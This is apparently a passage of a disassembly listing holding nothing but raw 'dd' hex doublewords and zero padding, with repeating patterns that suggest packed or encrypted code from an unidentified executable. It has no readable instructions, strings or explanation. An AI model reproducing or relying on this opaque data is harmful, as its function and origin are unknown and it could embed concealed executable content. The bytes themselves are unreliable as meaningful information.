1FFC4E6Dh dd 0D4B103B6h, 2F68BA03h, 0DB02789h, 0C6F3DEBBh, 7E419774h dd 34874F2Ch, 484ED6E2h, 580C0362h, 28F57B76h, 0F9E00FB0h dd 0AFF7C412h, 5CBD9BD8h, 154497A4h, 83389EABh, 8B915931h dd 51F235A5h, 586291B9h, 36FE46EAh, 0CA506F69h, 51F235E4h dd 9BA1D0F8h, 0E5870295h, 9C487057h, 6667456h, 0E1A97F58h dd 665F5DBh, 99E10958h, 665AD93h, 6A99C158h, 4617A18h dd 0FAF8D970h, 46h, 0F9A51311h, 0C9F2E4B1h, 0CB8E949Ah dd 9957E502h, 0F0BDC571h, 0D52DD9E2h, 38062A6h, 698B5806h dd 66411829h, 1C6003B4h, 4F587181h, 297E89F8h, 44D78EFAh dd 0BA27F8D9h, 1F000000h, 0A16B5157h, 577F5806h, 0C4124128h dd 993E4BF7h, 6B6B7824h, 3F97A450h, 6B67347Ch, 0FB112150h dd 51F1ED1Eh, 1C6E4D89h, 0C265973Fh, 6F959FEEh, 0DBE7932Bh dd 7379C16Dh, 57E54438h, 946CBEE6h, 7FAE11C7h, 0F570775h dd 0FB1BDD09h, 0FD456D5Dh, 0C416A730h, 0EFCDF0E7h, 3893FA79h dd 454624Ch, 2200000Dh, 0D6B305BAh, 916EC0FDh, 4B287A41h dd 0DD2F8Ah, 5B94E6D7h, 3984535Dh, 0F2C70AE7h, 0AA15C3A0h dd 605B7B58h, 747A020Eh, 580C048Eh, 1240A7A2h, 0E3B0F8C5h dd 8E9ECDF0h, 8D1DFB6h, 0F39F1CBAh, 0CDF7449Bh, 0B91D2857h dd 0ECF2BA02h, 51F28A06h, 0B3C3F21Ah, 8D4A17FAh, 0B864577Bh dd 0C41CC860h, 711D8B95h, 3602329h, 62E57E5h, 0AF0F6BEh dd 1E580603h, 175DC7F6h, 58060335h, 677C1E40h, 0F8D9D6FEh dd 0D700h, 4F171700h, 0F1E86349h, 0AAA4E651h, 8CED347Dh dd 646F9EC6h, 909D4972h, 84CA7647h, 51F226A7h, 0A5F7C412h dd 1AD0EC8h, 8FD787F5h, 0E5404E89h, 82D4FC57h, 36C938A6h dd 73FAD3DFh, 0E84EEABh, 293E8BB7h, 0C1F5DBE1h, 0E1095806h dd 62390149h, 0B5771DAAh, 78BCEBDCh, 5DFB5F5Dh, 935BA3CBh dd 76DBF5BCh, 0B775987Ch, 0AC92E9CFh, 20D3C05h, 0B996E8D5h dd 3E9EF1Eh, 175E1DCDh, 0F97957EFh, 0E0389328h, 0BF1E8F6h dd 0A7350000h, 0EAE9C618h, 2EA481D3h, 775E3B8Dh, 0C413F042h dd 4A6EA7F9h, 0FA4C7166h, 0B305B41Dh, 6BBD02D6h, 2173488Eh dd 0A1878D15h, 0B5580C05h, 0C51253BAh, 1CEA6F8h, 0B1BCEBD2h dd 0FAE0E625h, 0E51F1E7h, 0E84A3036h, 365E51F1h, 0FBB4069Eh dd 0AE38C412h, 388751A5h, 2AE841E1h, 0C6410ADh, 2330DC74h dd 0D9B608B3h, 916C2F9h, 7E9CEECDh, 660A7827h, 49CD181Eh dd 739B57E5h, 9B9B7ED2h, 0B523AF8Fh, 84BBC109h, 3A55839Dh dd 0EC5A6612h, 0C1C7428Fh, 55A49DDBh, 832FC7EFh, 454B932Bh dd 5B991F78h, 57666D4Ah, 2CAA77BFh, 76603D8Fh, 0D7156745h dd 0EED83AF4h, 0B36E0h, 0D3ECF000h, 8E2FA481h, 48735F3Ch dd 0FDBC19F6h, 0B409CEABh, 218F2962h, 0D8B507B6h, 916EC0F9h dd 49267847h, 0D0DC2E8Dh, 65C4248h, 7570580Ch, 42C4120Eh dd 727F2B90h, 26BE5663h, 50006E7Ah, 15C30208h, 9C7957E5h dd 0A6EE8637h, 0F5F2D8DEh, 2E065805h, 5F64228h, 962E5658h dd 0D7B5767h, 0A4131961h, 0BA5DF940h, 0BEA0E692h, 0C95E1A21h dd 75F0EBA7h, 0E9F2C5B7h, 0D605B61Ch, 5570h, 0A5138700h dd 40ABB1F9h, 4E57E554h, 0C711DE26h, 0F5E3B0F8h, 0C5111ECAh dd 1F2F5EF6h, 6352509h, 0EBE6B358h, 51FDBC19h, 5DB561F9h dd 49F5C610h, 1FB7C2F1h, 4E87549Ch, 1A67BF6Bh, 5804B9h dd 0F4E4C1D1h, 22B683CBh, 0F6046E9Dh, 0A67h, 4574612Eh dd 0A5132F16h, 0A7ABB1F9h, 0F757EB02h, 333191Fh, 6F47580Ch dd 0C038369h, 0D76F9758h, 0AC2AF73Fh, 0F6E0BD0Fh, 27B07DC5h dd 6392EA96h, 1A7FEDF9h, 1F67FFBCh, 51E8619h, 84CCF45Eh dd 6C9B1EB7h, 7E3D9966h, 34874F2Ch, 620E7C88h, 46B5141Ah dd 83AB6419h, 76CDE1A5h, 28362032h, 0A03h, 0B406B923h dd 6FC1FCD7h, 297B4092h, 0DE30894Ch, 95E7D601h, 83545C5Ch dd 0C60BE83Ah, 14C4A1F3h, 5A7C59ABh, 7B030F61h, 0C078F75h dd 41A8A358h, 0F1E7F7D9h, 5F0F7D51h, 808D4A17h, 0F1E7947Ah dd 0E880A851h, 0AFB5E43Ch, 0EB02FEA9h, 25330A57h, 0F9AFC4B6h dd 244CD0FFh, 0F4C70FDCh, 3EF3CAA2h, 3BE0AFE8h, 0D0061140h dd 0FFD6A3EBh, 69B60EBAh, 0B721506Fh, 49913DABh, 92957B81h dd 81A9580Ch, 7464C52h, 0BD5DFFC1h, 53D9B795h, 523C3890h dd 96E44h, 9B24B800h, 56676C49h, 10AB2704h, 0C5F4E1BEh dd 7C419673h, 0E9C7F12Ah, 0A07DCFEEh, 59368831h, 11EE407Fh dd 98A4F6C5h, 8240A10h, 3D38580Ch, 0F7C412D6h, 23983E4Bh dd 44C90EDBh, 0F1E8583Eh, 0AC446C51h, 0E7FB137Dh, 0EE3530ABh dd 44C9FEEDh, 0E0000004h, 2F8C4A17h, 0D888F600h, 0FF9AB990h dd 0AA620A57h, 0C86F757Bh, 5E57EB3Fh, 0B521EE36h, 0FFD7B406h dd 56EED107h, 6795410Eh, 8E6D90Fh, 0E110A85Fh, 784F3177h dd 67D5580Ch, 4986FB7h, 6578DD50h, 0BD3D908h, 0AD573D43h dd 846B580Ch, 0C616BAF5h, 0F542DA5Fh, 0D72FDBE2h, 0A22564A8h dd 0B3DB5DFFh, 9072C5D5h, 6C7A6438h, 8AFh, 85A6577h, 0C315A82Bh dd 7DCFECE6h, 328435A0h, 0E93B8255h, 2FA808B0h, 725F3C8Eh dd 0C018F547h, 6D0ADFFh, 0CF5763B5h, 0C08E3C9h, 95FCF758h dd 0E9BA4017h, 0FE4C5E4Bh, 0EA12C4CFh, 8D500773h, 0BC81550h dd 616E1AB2h, 829A4675h, 501D2C6Eh, 30883485h, 0DED09501h dd 782EFEEDh, 45000003h, 0F1E7F7D9h, 5F0F7D51h, 318E4A17h dd 9F6FC02h, 1B57EB03h, 0F8DEABF3h, 429471C3h, 2DDC3C9h dd 0C9F1580Ch, 0B798531h, 0E9952AAEh, 0ABB1F991h, 5DFF306Ch dd 881CFA22h, 0B53890E5h, 80DBDCBh, 0C3190000h, 6CDAAFCh dd 4A8865B7h, 93421F71h, 0E0F7D426h, 66528BDDh, 0DE308D4Ah dd 97E9D001h, 4FA11EBAh, 5576472h, 856B71F9h, 99580C0Ah dd 0C412379Eh, 942C9142h, 0C0FBDBE8h, 0AAE8FC14h, 0EDEE3431h dd 2EDCAFEh, 0FAC20000h, 0F1F00EF4h, 0CBFA2251h, 0E7E1D9E4h dd 158351F1h, 351B2169h, 4957EB03h, 3856B71h, 8B08580Ch dd 47D56C4Dh, 0EF87AF75h, 0BFFCDAA7h, 7546906Dh, 0EF4FBDC9h dd 0C8403E9h, 57EF1758h, 0CFDA090Fh, 48705DFFh, 9046446Ah dd 15230D38h, 773h, 449629B3h, 0FF516C67h, 0B90BB022h dd 6EC0F9DCh, 25774691h, 0F3E4CCECh, 369B78CAh, 84543183h dd 0CA0CE93Bh, 0B939FF1h, 0C0A1F05h, 0D1383358h, 4BF7C412h dd 7723983Eh, 4BE1A105h, 0A0DE308Bh, 0FEEDF1C5h, 0B607CC99h dd 1D83B20Ah, 7, 2451134h, 0D9680000h, 51F1E7E1h, 21691583h dd 0EB031E1Bh, 0E0285057h, 34874B18h, 0DFDCFA05h, 9526B08Dh dd 0BF6FDDE9h, 4E427177h, 0FBD85DFFh, 6E4CE4D7h, 3890C74Ah dd 0E423311Bh, 42000006h, 0F6D3259Ah, 0B18EE0DDh, 6B489A21h dd 20FD4F6Ah, 7BB406B7h, 5964733Dh, 12A72A07h, 0CAF5E3C0h dd 803B9B78h, 949A222Eh, 580C0AAEh, 1260C7C2h, 0D8AFF7C4h dd 0DE9F52C6h, 4DB7E633h, 6F759640h, 51F29889h, 31DD759Dh dd 53F5BBFh, 5A98EAD1h, 0FEED410Bh, 6D528653h, 9B24B4C1h dd 76ED403h, 85000000h, 1A211h, 0E0D96800h, 8451F1E7h dd 1C226A16h, 57EB0328h, 1BE83058h, 0FE5602BDh, 3901C9CFh dd 0C034D33h, 0C2F7DA58h, 9AA5D4FCh, 6A377F3Ch, 1222516Eh dd 57666D3Ah, 192453ABh, 4652FEBDh, 13E028D8h, 0F54DF9C4h dd 8BBAC0C6h, 215DFF4Eh, 0C7A71BF9h, 0E8D23890h, 622DAh dd 0E7D80400h, 0A21BB895h, 5C5F7350h, 11A82D0Ah, 0C8F5E2BFh dd 357B3D76h, 0ECC91BA2h, 0A582D4E5h, 5D3A8C33h, 0E4F04279h dd 0B70565Ch, 8984580Ch, 0F7C41222h, 64983E4Bh, 1EE76206h dd 721EB646h, 46FE9C00h, 5A5F7690h, 0CB9870C2h, 1884B306h dd 0FEEDD04Dh, 1CB1h, 0D9D2A900h, 7B4494C0h, 6F2077CFh dd 4E20772Ch, 7E3A974Dh, 11A48BBAh, 0D7h, 0E7E0D968h, 168451F1h dd 9E4B226Ah, 72477F25h, 22282E5Dh, 57EBD416h, 1FF63E66h dd 6D1117Eh, 77DF60B7h, 65323867h, 1BF84A71h, 328D4BBBh dd 0EA962E86h, 78C070DEh, 274372h, 0D3B1D95Eh, 388FEDF9h dd 649CAA94h, 0C2000005h, 7653A51Ah, 310E605Dh, 0EBC81AA1h dd 0A07DCFEAh, 0FB348637h, 0D9E4F3BDh, 9227AA87h, 4A756340h dd 0BB1BF8h, 141AA2AEh, 580C0C2Eh, 17E04742h, 63268240h dd 1342F0A2h, 41EDCE08h, 6E64A234h, 9709B54Dh, 0F9DD1733h dd 333270C2h, 0CBFEEDA3h, 7, 3111E2h, 12680000h, 3E4BF7C4h dd 6A772398h, 97A4506Dh, 0CBD37F3Ah, 0F1E7DFC5h, 19CBF351h dd 5E1495B5h, 5D5C7946h, 0D82A59B1h, 675482BAh, 243715h dd 128E0000h, 5B4147C4h, 6F51F1E8h, 0FB03AF47h, 0E918A52Eh dd 0F1E7C2A5h, 6E2C5051h, 69BB00D6h, 0AC0DC491h, 0C412967Dh dd 5B8B9038h, 31EE4578h, 0A11ABC7Eh, 0B8059DF5h, 58049C1Dh dd 0D073DE4Ch, 0F572119Eh, 0C18ED66Eh, 757BAA11h, 0EB8C6B6Fh dd 0DDE3BB57h, 580C8CF7h, 4296E30Bh, 0E179D17Dh, 0E5CBD199h dd 0F9580C8Ch, 0D49CA2D1h, 0BDECCF07h, 0F3E224B2h, 4DC2EC6h dd 0F01F9A37h, 0D90BF1E5h, 0B8AB3841h, 0A8407D56h, 4F745A60h dd 6088580Ch, 0A2101CC8h, 1DB0B6FEh, 95E056Ah, 69553B41h dd 41695E26h, 1E668E12h, 0E4368551h, 40ECCF07h, 0D21AC634h dd 563C420Ah, 0E35E2669h, 0C921CDF0h, 68ACDB03h, 64199209h dd 0DDF9D7FFh, 0C4327683h, 405CCDAh, 0BB210000h, 0FED5B204h dd 42906DBFh, 8B4A2779h, 0D8FFDC2Eh, 5E5A93E5h, 0E6388552h dd 9FF1C809h, 57A916C2h, 0D5F5C7Ah, 8D737901h, 0A1580C0Dh dd 0C4123FA6h, 0EC8A5F7h, 2CF901ADh, 0D9E413ACh, 0A012BEFDh dd 0F0E61E3Ch, 34894E1Bh, 0C4AA3088h, 0D851F1E7h, 0EEC618B0h dd 0DC0BB221h, 0EDF1F570h, 3109FEh, 13200000h, 0E9B1F9A5h dd 5056B71Ch, 51F1E86Ah, 8FBE567Eh, 0E554E04Bh, 7EC6EE57h dd 469827B1h, 6364C30h, 0BA01D558h, 724D8B68h, 371B8C6h dd 130F0000h, 0E9B1F9A5h, 5905B61Ch, 0CDB3B901h, 0E151F1E7h dd 0CF468AB9h, 557E5E9h, 5C2931DDh, 8C994576h, 91DE7647h dd 3C477645h, 0FF75219Ah, 33191FE7h, 475805E9h, 0FC9EF01Fh dd 0EB33DB49h, 0F9EA6EE5h, 2A7CA45Dh, 69508552h, 0C9AFB5BDh dd 0DD5E19E9h, 0E4EE1DB5h, 7C82CA76h, 640DEB05h, 20E9ECB9h dd 2DEA341Ah, 88204864h, 0D15584DCh, 449461A9h, 0D5E24C7Bh dd 6565FC02h, 98EC3886h, 0E8EBB800h, 2F3CA6D5h, 5D6A16A9h dd 41964279h, 69FEE39Fh, 9F768BC7h, 48AB1B5Ah, 2F39687Dh dd 0CFD51DC1h, 6A22DB58h, 9524B18Eh, 8CEABFDh, 0DCFA07B3h dd 43B18DDFh, 0BA4D539Bh, 2870362Bh, 2C0E5400h, 3770570Bh dd 75E7515h, 57E088CBh, 0A613C28Fh, 361CA2FAh, 4A705713h dd 96D6CB22h, 0F2D5B2B7h, 415DC3h, 13740000h, 0ABB1F9A5h dd 57E502E8h, 81BD5D34h, 58694884h, 0D17DA529h, 61DA98Bh dd 17A42E58h, 46735E6Bh, 76458D9Ah, 9E033FE1h, 0FE95B5D7h dd 0F8D9BB67h, 0C997h, 11B88F00h, 4CFD26Ch, 12452C5Bh dd 434BF7C4h, 71C3906Ch, 80AF66F1h, 0AF5B6275h, 0DB8734A2h dd 6BB308CEh, 0DA86339Eh, 1D1E4CC3h, 34CC1334h, 2DFF505h dd 6D51F2BEh, 23005269h, 505C08B3h, 0F0F63EE2h, 57E60F4Dh dd 8561B3DBh, 9926B217h, 0ECECB901h, 989EA4D3h, 5DFBC715h dd 2D1319E1h, 0BA5E1DA6h, 0B0D89E1Bh, 8DD5FD81h, 5EA617C0h dd 48774691h, 417C5B38h, 93507D63h, 404E3838h, 1CFh, 0E83A8557h dd 0A3F5C80Bh, 5DAF0CC6h, 12645580h, 0C91BA235h, 4F882890h dd 923F1C6Eh, 0E0F8D527h, 26B08DDFh, 0AF374395h, 0C0FC3A9h dd 75DCD758h, 63494F17h, 0F051F1E8h, 0EC14DAE3h, 9825B2BDh dd 4E6D6946h, 0A51343FCh, 0E8ABB1F9h, 0B657E502h, 9E6F468Eh dd 0D5C847D6h, 0F19D20B3h, 68D20199h, 5FA4022h, 0A8754B58h dd 8AE28E2Fh, 5249095Bh, 0F8D9E013h, 0EFEBh, 6E0CE300h dd 0D0D68F84h, 0EB1477CEh, 91F97CDh, 0C412F3DAh, 5F5C7A47h dd 0F1E7F3D9h, 997F8551h, 0AD51F1E7h, 5BD8BF85h, 155E1C11h dd 822EC65Eh, 135B6275h, 0FB2A8F46h, 0C16E4B91h, 0FDD951F2h dd 478F6CBEh, 4EBCC874h, 0CB325F2h, 0F2C0A086h, 0F48CB451h dd 1203A6ACh, 0AA9157E6h, 97C5DC64h, 72A96A23h, 0C7ABF249h dd 9C62A0F7h, 2A529AC3h, 0B6734A92h, 26954173h, 87CB227Ah dd 0E6F6251Eh, 0ACF49C0Ah, 0FC9D82A6h, 0A2EA125Dh, 7DEED4DAh dd 0DA025E1Eh, 0FFD8A5ABh, 488F6CBEh, 7110F0B6h, 0AA42A266h dd 92911ECCh, 0B3C1AB38h, 0A7h, 10625D7Fh, 0CB1DA033h dd 85D7E4EEh, 3A8C2DA8h, 0F1437A5Dh, 27B000B8h, 6A674496h dd 0B820FD4Fh, 0FED8B507h, 0D75F6BBDh, 0C10EBD1h, 9D04FF58h dd 0A6F8C512h, 0EAD101CEh, 0ACB7E63Eh, 863F912Ah, 0AFF7C412h dd 9BCAEFE2h, 9B22431h, 0C16DDBB7h, 2D47379h, 224A57EBh dd 4E6D6976h, 4B71FFCh, 33D31258h, 359983CFh, 0BC17E415h dd 0CEFD5501h, 56A813C3h, 0B25E5D79h, 418930A5h, 138D7379h dd 79A183D0h, 0E98BE04Ah, 784393A9h, 2E8D4926h, 117482h dd 0DFAC0000h, 7A0A08F2h, 0B6DF16EBh, 0EB1A721Eh, 127DE404h dd 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h dd 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h, 5E08950h dd 4, 8704E883h, 895C2404h, 68682434h, 89000069h, 89562414h dd 4C681E6h, 83000000h, 348704EEh, 1C895C24h, 6A406824h dd 4890000h, 2ABF6824h, 5587B0Fh, 39670F31h, 0F4054048h dd 8951A3E1h, 8B5458C2h, 0C483241Ch, 0B9515204h, 61955FF4h dd 4244C01h, 8438F59h, 0F4086B81h, 0FF61955Fh, 815B2434h dd 4C4h, 2434FF00h, 4C4835Ah, 0FA536AE9h, 0BAA568FFh, 51DB39DDh dd 0B6EAFEC2h, 39B886D6h, 3061A2Ah, 77E0FFC5h, 5F70BC8Bh dd 3F207261h, 0A35460C9h, 0DA447935h, 3F484998h, 3473A4B8h dd 976890A2h, 0EC2992C2h, 0F422D572h, 74501789h, 0AD4BDAE1h dd 715A0EB8h, 0F012C451h, 8841221Ch, 6666A281h, 9B6B7FB7h dd 1C3B2930h, 0A8609F36h, 4155B6A5h, 3B140B70h, 1C0FE667h dd 482C3016h, 0FA72FD45h, 7A00BDEBh, 2524B49Dh, 8D003042h dd 1A2C048Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h dd 0C3504000h, 6681F0E0h, 9D01C18Bh, 61415F1h, 32298D89h dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0DE476FC3h, 9A925069h, 2C0EF281h, 85C71D09h dd 614064Dh, 5E24h, 1D440CBAh, 7185C717h, 61426h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 81C6C353h, 3FEFBFCBh, 69B5FF21h, 6A061406h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 315C356h, 0CF39A92Eh, 236195FFh, 95310614h dd 6142205h, 95FF006Ah, 6141169h, 1BEBC08Bh, 0E3AC4D54h dd 1327BE0Eh, 728CBA6Ah, 0DCACF80Ah, 0D93EA5Dh, 0D217F168h dd 0E94C5F0Eh, 7, 7C785225h, 0E9000000h, 529h, 0D82A9547h dd 93E5D8FBh, 4D9F1CB6h, 2546570h, 0B90BB225h, 5F783880h dd 0A22F0C5Eh, 0F0E8C517h, 36A07DCFh, 9F273385h, 0C13B399h dd 65CCC758h, 63494F17h, 7751F1E8h, 0C115204Fh, 0E85E444Ah dd 957251F1h, 4EE67E3Dh, 7B4295A2h, 4A6F6633h, 0A82E0B1Bh dd 0A9F4CB13h, 553B3A77h, 0D1DE4877h, 0FD0AB605h, 19A632D6h dd 0FB5FD581h, 5ED3AA5Fh, 0CD000F9Bh, 706671A0h, 0BC1CF94Bh dd 4D4B103h, 3A070FBBh, 1B731F9Ch, 6B207CEh, 5D747FAEh dd 0B95BB05Ch, 4A756399h, 666D3A02h, 8BEBD157h, 27FF51F2h dd 0F28C3B21h, 8F274F51h, 0FB2A8F42h, 0F3C80EEBh, 8C1E0147h dd 869A51F2h, 4D96CFC4h, 5C68FEEDh, 60000000h, 0CE7A4593h dd 12604776h, 2B9042C4h, 0BDA1E793h, 4651F1E7h, 5F5E758Fh dd 0CA0E1BC7h, 293249F5h, 596BBAF5h, 0D36F53C7h, 206276CEh dd 0EDDABAABh, 0D44FEh, 6F3C0000h, 5F849862h, 5B6DC55Dh dd 12AD94C3h, 4350FCC1h, 74812D90h, 36AC5861h, 577CB0D2h dd 9F371466h, 1211CA1Ch, 444CF8C5h, 0B35F5A77h, 0F2C70E5Bh dd 0A21BB8C3h, 622084F6h, 5EB00DCAh, 0D0A9AF86h, 0D9475938h dd 84379FAAh, 0F507CBD8h, 95748B7Dh, 357D1584h, 24F7068h dd 50BAE9D6h, 56EBA7C9h, 74969B7Fh, 5AB25E5Fh, 1D348F03h dd 24F382EEh, 0C38BFEEDh, 0F2BCD7BDh, 94C3EB51h, 742Eh dd 0C5124500h, 0EFE3B0F8h, 99C820CCh, 0BB0222Fh, 0C585E95Fh dd 0CD15A82Fh, 0E819FF05h, 52D51F1h, 0EEE9C6D6h, 0BF1623CFh dd 0F1C74EFAh, 515E901Ah, 80AF7431h, 0FE776C2Eh, 80FEED84h dd 689722B3h, 6A02h, 4F171900h, 0F1E86349h, 8486E651h dd 0F71C795Bh, 0CFDA0931h, 966DB508h, 0A6ECBB37h, 0AD17460Bh dd 5D238A0h, 1CB40CB8h, 3A583C70h, 96E8D502h, 6A4017DDh dd 41DFBBAh, 72616C9Bh, 76599F4Bh, 0F251F2CBh, 0B68DBCDEh dd 0EE3F33A2h, 9A8086CEh, 0AE51F27Ch, 53BFEE86h, 0FEED5D12h dd 0AECh, 4D0DE400h, 297C94B3h, 17563D6Ch, 0E863494Fh dd 4F7751F1h, 0FEBD1520h, 2026EEB6h, 51F1E83Ah, 0BAA0264Eh dd 0CE51F1E7h, 72585EA6h, 8651F1E8h, 0B8C52F5Eh, 9CF19D1Eh dd 2EA458FAh, 0F15F3B8Dh, 0D17D3E98h, 0D199E179h, 0E81D0309h dd 0A9AF51F1h, 51F1E7C3h, 0C1E9AFD7h, 3374E92h, 85AD57E5h dd 5465703Dh, 28AEBB25h, 92694193h, 0CA9C4E4Fh, 0B0BBEA2Bh dd 0A3E99526h, 5805EEBFh, 0E71D3D21h, 0B784CCEFh, 0D6E7EC1Ch dd 27FF0F3Eh, 0EF73595Fh, 5F875805h, 0AB12530h, 8185515Eh dd 65BD6950h, 4BAF21CDh, 0AA2DFA0Fh, 0C70F6713h, 5EEDBC1h dd 98C7EF58h, 2072498Dh, 0D9EA83E2h, 0F77BF8h, 9C730000h dd 0AB8AF8A9h, 0F1D80735h, 8E44A513h, 0DC29812Dh, 0E22AC2FBh dd 0E50DA5DCh, 87335B57h, 0D5F5C7Ah, 0CD15A630h, 0B7E6D700h dd 2596404Dh, 56676C79h, 0B69CA2AAh, 0CA58060Dh, 7E7C55A2h dd 0C85CAD87h, 24D0687Eh, 6B4E0CF0h, 0FF3555B9h, 5492E4D7h dd 0F8D99D11h, 6657804Dh, 2AD137h, 13E80000h, 0AAB0F8A6h dd 0D1F1E7E4h, 9EE490B8h, 0D1F1E7B8h, 0C37A183Ch, 0DCDFF356h dd 30F6FC44h, 451F1E8h, 6EAC8ADCh, 3000000h, 34894A17h dd 0E18DFB05h, 10D89399h, 370457E5h, 82686EA1h, 965805F0h dd 0D22AD66Eh, 3F6E4D85h, 0DAE793BBh, 906DBFFCh, 83C97546h dd 5805F0A2h, 0C4781AFEh, 0DF3F912h, 215805F1h, 330F61F9h dd 0CBD119C5h, 5DFF3CB0h, 3D4AF61Eh, 21762299h, 0A0DAF4CBh dd 0B5A7170Bh, 0DF163486h, 0B885CD71h, 676D9C1Dh, 19BA4661h dd 3A8CB464h, 0F9A51381h, 3390ABB1h, 0D6FE57EBh, 2B91D2Ah dd 0D2E9EDBAh, 20B693A3h, 13FFE5EBh, 0EB13580Ch, 8161A753h dd 99302D78h, 0F7DF1535h, 0CD9A72C4h, 1B010706h, 2FD26E78h dd 6BC36F07h, 66A5313Ch, 6E787A60h, 19668ED2h, 1D65FDBCh dd 0DD348550h, 255F3782h, 228CBB47h, 0A71431Ah, 8ABCAA10h dd 6E5A9E84h, 0F28AB2D2h, 0E71DB8C3h, 351B21ECh, 49D26E5Bh dd 0A9F18921h, 5AF5DBE1h, 0E109D26Eh, 9DF348B2h, 0BB708D0h dd 103284B3h, 0B11FADCh, 0D26E5B25h, 31791139h, 578F6F64h dd 38E38EC6h, 283867FFh, 84308B4Bh, 876h, 0F6E1AE00h, 0E4B198C7h dd 0F5CA127Dh, 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 545633B8h dd 4C6815Eh, 83000000h, 348704EEh, 89575C24h, 4C781E7h dd 83000000h, 3C8704EFh, 34895C24h, 53896824h, 3C890000h dd 5B156824h, 0C890000h, 2C35B924h, 0CE89061Ah, 3C8B5459h dd 4C48124h, 68000000h, 7F4Bh, 8F243489h, 34FF0847h, 0C4835F24h dd 24348B04h, 81E68956h, 4C6h, 4C68300h, 5C243487h, 0FA4CC6E9h dd 0FA0228FFh, 30EBB84Ch, 0C503061Ah, 0F8CDE0FFh, 0DD5D3213h dd 21116F15h, 27EB71D5h, 3A2059A5h, 6AF307CAh, 96A435AAh dd 69CC186Fh, 425F19E5h, 0CC3A09BCh, 0D6711480h, 8B675AE4h dd 7B756C3Bh, 94EC782Ah, 0AFD21B89h, 2A452C1Ch, 8E661B16h dd 55FE70D1h, 0D5A60351h, 6308111Bh, 0ECBD7D40h, 53032E42h dd 34565F31h, 0A1DA4EB0h, 33B46E9Ah, 6D36BB9h, 1DCF4798h dd 0C98F5C11h, 0B4326ECDh, 0ABE94098h, 0F000001h, 2714BB58h dd 0D31AD52Ch, 0D746B198h, 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h dd 44FCA3FBh, 0A59EB992h, 95BCD792h, 93B9E4h, 0F49DB2CBh dd 0FC9CACA3h, 0D2009EB9h, 73AFC945h, 55FC00EEh, 599CBA97h dd 0B2A4E56Dh, 47FEACFFh, 0C45657F6h, 0F600CCD4h, 0F78F7DB5h dd 97539549h, 45C9BCFAh, 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0) dd 0A26D8497h, 0EE69F033h, 0Bh dup(0) dd 0BAE90000h, 6800000Fh, 61A3550h, 0FB132DE9h, 367B68FFh dd 23E9061Ah, 68FFFB13h, 61A381Bh, 0FB1319E9h, 38C468FFh dd 0FE9061Ah, 68FFFB13h, 61A39C3h, 0FB1305E9h, 3AA268FFh dd 0FBE9061Ah, 68FFFB12h, 61A3B53h, 0FB12F1E9h, 3BDD68FFh dd 0E7E9061Ah, 68FFFB12h, 61A3CCEh, 0FB12DDE9h, 3D3968FFh dd 0D3E9061Ah, 68FFFB12h, 61A3DCDh, 0FB12C9E9h, 3E8C68FFh dd 0BFE9061Ah, 68FFFB12h, 61A3F35h, 0FB12B5E9h, 408068FFh dd 0ABE9061Ah, 68FFFB12h, 61A41E0h, 0FB12A1E9h, 650DFFFFh dd 0E8828094h, 6DFD0317h, 0EF79889Ch, 76FC0A1Eh, 0FE6B90A5h dd 85996A08h, 0D21F27Eh, 93A778F8h, 0C92BFC6Ch, 2D54E884h dd 79D73047h, 4226D929h, 0AEBA4589h, 0BEF109DDh, 2CF98E22h dd 8D2A7C2Ah, 7644846Bh, 0E37F42D3h, 2A2D6B4Fh, 0E5A839CAh dd 109C6049h, 5B14A534h, 413C37CFh, 0C1A50B30h, 0A759FDA0h dd 23F06Fh, 19F20000h, 6909FD01h, 407915D8h, 45341020h dd 0D76FFBB4h, 0AB304113h, 9D402145h, 906FA736h, 0D4h dd 3F26D992h, 5D16A7C3h, 0CC85ED19h, 914A7788h, 0D3B76411h dd 3ED26E31h, 0C12A2D82h, 59DC9F30h, 2D8229BDh, 0DA13A42Ah dd 96D22D71h, 20B450D3h, 9B2A2D82h, 0E18F760Ah, 2DAEE728h dd 2C8E87D1h, 6206F92Ah, 0E3827D91h, 50914A1Eh, 0EA0206BFh dd 31D226E9h, 0EAA3C53Ch, 1E5F18A9h, 5D672E5h, 883410ACh dd 3A5226F7h, 78DA7639h, 8B3A2847h, 23E337FAh, 0B83B7E4Fh dd 2F1A881Ch, 0C1CB032Ah, 115C54D6h, 0BE023BCCh, 94DC2748h dd 40099ADBh, 0E0BA5B6Dh, 5295E35Eh, 2900000Dh, 0AABE8FE3h dd 2D411258h, 0B2C697D3h, 3448194Fh, 0BACFA0D2h, 94DE2805h dd 1C54AFC3h, 0A2CE374Bh, 2642BDD1h, 12AEF355h, 30472E7Eh dd 0D953A301h, 6074452Dh, 0AAF8C99Fh, 2FD327AAh, 0F9CB5F3Bh dd 0BD4E2A2Ch, 0DB94DC29h, 455D619Ah, 0F0A9C141h, 75B1EAFh dd 7ABB74FCh, 0C84BCE41h, 2CF9982Ch, 8DE3222Ah, 942059EAh dd 3410205Bh, 0F7798A1Eh, 0A96CFD3Eh, 87C0B055h, 63B3AB1Eh dd 81D2E21h, 22BA467Fh, 0F6304138h, 0E88BD690h, 0DB6FA75Ah dd 0DEh, 3FE6F0E8h, 0B6527C97h, 26D9FF7Dh, 0C2168942h dd 34752E44h, 234FB7FBh, 0F9FFF76Ah, 9C368C95h, 0D721ADE6h dd 692A2CCFh, 0BB0FD296h, 90E02548h, 0CC0546FFh, 0A0C8374Bh dd 0CACBE3E7h, 0ED9A6B07h, 0FE8F3410h, 0E41592Dh, 41CDDE72h dd 0D98F7030h, 5114A536h, 0E68C7ACEh, 8A1EBA2Dh, 53041CDh dd 1EAAE374h, 3A2889ADh, 6334C8C0h, 96D924B5h, 0AB470A5Dh dd 2A2FE717h, 0AD700192h, 7C1EAD59h, 0EB0819BEh, 0BCD0A132h dd 1A5F284Ah, 83E0BA30h, 0C27BA08h, 0B8540000h, 2DD5E9BAh dd 0A8586C3Dh, 24DDF1C2h, 0A75F7344h, 